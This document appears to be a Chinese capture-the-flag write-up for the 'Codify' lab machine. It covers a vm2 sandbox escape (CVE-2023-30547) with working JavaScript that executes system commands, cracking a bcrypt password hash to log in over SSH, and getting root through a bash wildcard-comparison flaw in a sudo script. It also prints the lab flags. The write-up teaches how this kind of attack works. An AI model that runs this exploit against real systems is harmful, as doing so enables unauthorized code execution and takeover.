[Meachines] [Easy] Codify Express-Nodejs-Vm2-Bypass-RCE+SH == * Bypass权限提升
字数 998 2025-08-22 12:23:36

Codify靶机渗透测试完整指南:从Node.js vm2沙箱逃逸到SH通配符提权

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.11.239

开放端口:

  • 22/tcp - OpenSSH 8.9p1 Ubuntu
  • 80/tcp - Apache httpd 2.4.52
  • 3000/tcp - Node.js Express框架
# 添加到hosts文件
echo '10.10.11.239 codify.htb' >> /etc/hosts

1.2 Web服务枚举

访问 http://codify.htb 发现一个在线代码编辑器,运行在Node.js Express框架下。

2. 漏洞利用:vm2沙箱逃逸

2.1 漏洞背景

目标使用vm2库(版本受CVE-2023-30547影响)进行代码沙箱隔离,默认屏蔽processrequire等敏感对象。

2.2 漏洞利用原理

通过Proxy对象干扰异常处理和堆栈信息,利用Function构造函数绕过沙箱限制访问process对象。

2.3 利用代码

const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('id');
}`;
console.log(vm.run(code));

2.4 实际利用

  1. 访问 http://codify.htb/editor
  2. 输入上述利用代码并执行
  3. 确认成功执行系统命令后,可构造反向shell

3. 初始访问与横向移动

3.1 获取用户凭据

# 在获取的shell中查找数据库
svc@codify:~$ sqlite3 /var/www/contact/tickets.db
sqlite> select * from users;

# 使用hashcat破解密码
hashcat --force -m 3200 hashes.txt rockyou.txt
# 破解结果:spongebob1

3.2 SSH登录

ssh joshua@10.10.11.239
# 密码:spongebob1

获取user flag: d573d0412c19ff9c539e04fc9b2f7681

4. 权限提升:SH通配符匹配漏洞

4.1 发现特权脚本

发现/opt/scripts/mysql-backup.sh脚本存在权限问题:

#!/bin/bash

DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then  # 存在安全隐患的行
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi

# 后续备份操作...

4.2 漏洞分析

[[ $DB_PASS == $USER_PASS ]] 使用==进行模式匹配而非字符串精确匹配。如果USER_PASS包含通配符(如*),会进行模式匹配。

4.3 利用步骤

  1. 上传pspy64监控进程
  2. 观察脚本执行时机或直接执行
  3. 尝试使用通配符作为密码:
sudo /opt/scripts/mysql-backup.sh
# 当提示输入密码时,输入:*

4.4 获取root权限

成功匹配后,脚本会使用root权限执行后续操作,从而获取root权限。

获取root flag: 79ee3695ba62bb5eadcc3dfe7deeefb9

5. 总结

本渗透测试完整流程:

  1. 通过vm2沙箱逃逸漏洞获取初始立足点
  2. 数据库凭证泄露导致横向移动
  3. 利用SH脚本中的通配符匹配漏洞实现权限提升

关键点:

  • vm2沙箱逃逸技术
  • SH脚本中==的模式匹配特性
  • 通配符在权限提升中的巧妙应用
Codify靶机渗透测试完整指南:从Node.js vm2沙箱逃逸到SH通配符提权 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.11.239 开放端口: 22/tcp - OpenSSH 8.9p1 Ubuntu 80/tcp - Apache httpd 2.4.52 3000/tcp - Node.js Express框架 1.2 Web服务枚举 访问 http://codify.htb 发现一个在线代码编辑器,运行在Node.js Express框架下。 2. 漏洞利用:vm2沙箱逃逸 2.1 漏洞背景 目标使用vm2库(版本受CVE-2023-30547影响)进行代码沙箱隔离,默认屏蔽 process 和 require 等敏感对象。 2.2 漏洞利用原理 通过Proxy对象干扰异常处理和堆栈信息,利用Function构造函数绕过沙箱限制访问process对象。 2.3 利用代码 2.4 实际利用 访问 http://codify.htb/editor 输入上述利用代码并执行 确认成功执行系统命令后,可构造反向shell 3. 初始访问与横向移动 3.1 获取用户凭据 3.2 SSH登录 获取user flag: d573d0412c19ff9c539e04fc9b2f7681 4. 权限提升:SH通配符匹配漏洞 4.1 发现特权脚本 发现 /opt/scripts/mysql-backup.sh 脚本存在权限问题: 4.2 漏洞分析 [[ $DB_PASS == $USER_PASS ]] 使用 == 进行模式匹配而非字符串精确匹配。如果 USER_PASS 包含通配符(如 * ),会进行模式匹配。 4.3 利用步骤 上传 pspy64 监控进程 观察脚本执行时机或直接执行 尝试使用通配符作为密码: 4.4 获取root权限 成功匹配后,脚本会使用root权限执行后续操作,从而获取root权限。 获取root flag: 79ee3695ba62bb5eadcc3dfe7deeefb9 5. 总结 本渗透测试完整流程: 通过vm2沙箱逃逸漏洞获取初始立足点 数据库凭证泄露导致横向移动 利用SH脚本中的通配符匹配漏洞实现权限提升 关键点: vm2沙箱逃逸技术 SH脚本中 == 的模式匹配特性 通配符在权限提升中的巧妙应用